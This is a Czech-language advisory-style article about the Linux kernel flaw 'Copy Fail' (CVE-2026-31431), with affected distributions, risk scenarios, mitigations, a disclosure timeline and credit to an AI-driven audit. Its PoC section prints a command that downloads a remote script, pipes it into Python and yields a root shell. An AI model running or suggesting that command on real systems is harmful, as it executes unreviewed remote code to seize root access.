Čeština

← Zpět na seznam

732 bajtů prolomí každý Linux: epická zranitelnost se skrývala téměř deset let

itadol5j

Zranitelnost Copy Fail

🚨 Epická zranitelnost: 732 bajtů prolomí všechny Linuxy, téměř deset let skrytá

Zranitelnost jádra Linuxu pojmenovaná„Copy Fail“(CVE-2026-31431) byla veřejně odhalena:

  • 732 bajtůdlouhý skript v Pythonu
  • je 100% spolehlivý，bez nutnosti race window nebo offsetů jádra
  • zasahuje všechny distribuce Linuxu(od roku 2017 dosud)
  • primitiv úniku z kontejneru，útoky napříč tenanty
  • téměř deset let skrytá，až do zveřejnění 29. dubna 2026

Tentýž skript funguje naUbuntu、RHEL、Amazon Linux、SUSEbez jakýchkoli úprav.

🎯 Jádro zranitelnosti

Jediná logická chyba

Copy Fail jepřímočará logická chyba:

  • Nevyžaduje race window: na rozdíl od většiny LPE v Linuxu nepotřebuje race condition
  • Nevyžaduje offsety jádra: nejsou potřeba žádné offsety specifické pro konkrétní jádro
  • 100% spolehlivost: uspěje při každém pokusu
  • Tentýž skript: funguje na všech distribucích

Řetězec zranitelnosti

Útočný řetězec Copy Fail:

  • logická chyba v authencesn: jeden logický bug
  • AF_ALG: přes crypto API jádra
  • splice(): zřetězené volání
  • zápis 4 bajtů do page-cache: finální útočný primitiv
  • Zneužitelná téměř deset let: od roku 2017 do vydání záplaty

📊 Rozsah zasažení

Oficiálně ověřené distribuce

Distribuce Verze jádra Stav
Ubuntu 24.04 LTS 6.17.0-1007-aws ✅ Ověřeno
Amazon Linux 2023 6.18.8-9.213.amzn2023 ✅ Ověřeno
RHEL 10.1 6.12.0-124.45.1.el10_1 ✅ Ověřeno
SUSE 16 6.12.0-160000.9-default ✅ Ověřeno

Další zasažené distribuce

Následující distribucejsou zasaženy:

  • Debian
  • Arch Linux
  • Fedora
  • Rocky Linux
  • AlmaLinux
  • Oracle Linux
  • Embedded Linux

Závěr: pokud bylo vaše jádro sestaveno mezi rokem 2017 a vydáním záplaty——jste zasaženi.

💡 Vysoce rizikové scénáře

Scénář Riziko Dopad
Multi-tenant linuxový host Vysoké kterýkoli uživatel se stane rootem
Kubernetes / kontejnerové clustery Vysoké útoky napříč kontejnery i tenanty
CI Runner / Build Farm Vysoké z pull requestu se stane root runneru
Cloud SaaS spouštějící kód uživatelů Vysoké tenant se stane rootem hostitele
Standardní linuxový server Střední interní LPE, lze řetězit s dalšími útoky
Jednouživatelský notebook Nízké krok eskalace oprávnění po průniku

🔧 Zmírňující opatření

Řešení 1: aktualizace jádra (doporučeno)

Aktualizujte jádro na verzi obsahujícímainline commit a664bf3d603d:

  • Obsah opravy: zrušení optimalizace algif_aead in-place z roku 2017
  • Efekt: stránky page-cache se již neobjevují v zapisovatelném cílovém scatterlistu
  • Stav: většina hlavních distribucí už záplatu vydala

Řešení 2: deaktivace modulu algif_aead (dočasně)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

Dopad deaktivace algif_aead

Komponenta Dopad
dm-crypt / LUKS Bez dopadu
kTLS / IPsec Bez dopadu
OpenSSL / SSH Bez dopadu
AF_ALG v uživatelském prostoru Možný dopad

Závěr: pro většinu systémů nemá deaktivace algif_aeadžádný znatelný dopad.

Řešení 3: blokování AF_ALG přes seccomp

U nedůvěryhodných workloadů (kontejnery, sandbox, CI) blokujte přes seccomp vytváření socketů AF_ALG:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

🚀 Ukázka PoC

PoC zranitelnosti byl zveřejněn, aby si obránci mohli ověřit své systémy:

Rychlé spuštění

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Podrobnosti o PoC

  • Velikost souboru: 732 bajtů
  • Jazyk: Python 3.10+ stdlib only（os, socket, zlib）
  • Výchozí cíl：/usr/bin/su
  • SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

Varování：skript upravuje page cache binárky setuid; změny po restartu nejsou trvalé, ale root shell je skutečný. Nespouštějte ho v produkci.

📅 Časová osa zveřejnění

Datum Událost
2026-03-23 Nahlášeno bezpečnostnímu týmu jádra Linuxu
2026-03-24 Prvotní potvrzení
2026-03-25 Návrh a revize záplaty
2026-04-01 Záplata odeslána do mainline
2026-04-22 Přidělení CVE-2026-31431
2026-04-29 Veřejné zveřejnění

🔍 Objevitel: Xint Code

Zranitelnost objevilXint Code:

  • Doba skenování：přibližně 1 hodina skenování subsystému Linux crypto/
  • Způsob objevu：audit kódu řízený AI
  • Kompletní analýza：root cause、diagrams、operator prompt
  • Další nálezy：zároveň byly objeveny další vysoce závažné zranitelnosti, jejichž zveřejnění se stále koordinuje

Bilance Xint Code

  • 0-day RCE：ZeroDay Cloud, ovládnutí kategorie databází (Redis、PostgreSQL、MariaDB)
  • DARPA AIxCC Top 3：finále DARPA AI Cyber Challenge
  • DEF CON CTF 9×：historicky nejúspěšnější tým DEF CON CTF

📝 Shrnutí

Copy Fail (CVE-2026-31431) jeepická zranitelnost jádra Linuxu:

  • 732 bajtů prolomí všechny Linuxy (od roku 2017 dosud)
  • 100% spolehlivá, jediná logická chyba
  • únik z kontejneru, útoky napříč tenanty
  • téměř deset let skrytá, zveřejněna až 29. dubna 2026
  • Rizikové scénáře: multi-tenant hosty, kontejnerové clustery, CI Runner, SaaS
  • Zmírnění: aktualizace jádra nebo deaktivace algif_aead
  • Objevitel: Xint Code, audit kódu řízený AI

Epická zranitelnost téměř deseti let, jeden skript prolomí všechny Linuxy.

Web zranitelnosti:https://copy.fail

GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431

Technická analýza:https://xint.io/blog/copy-fail-linux-distributions

Záplata jádra:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5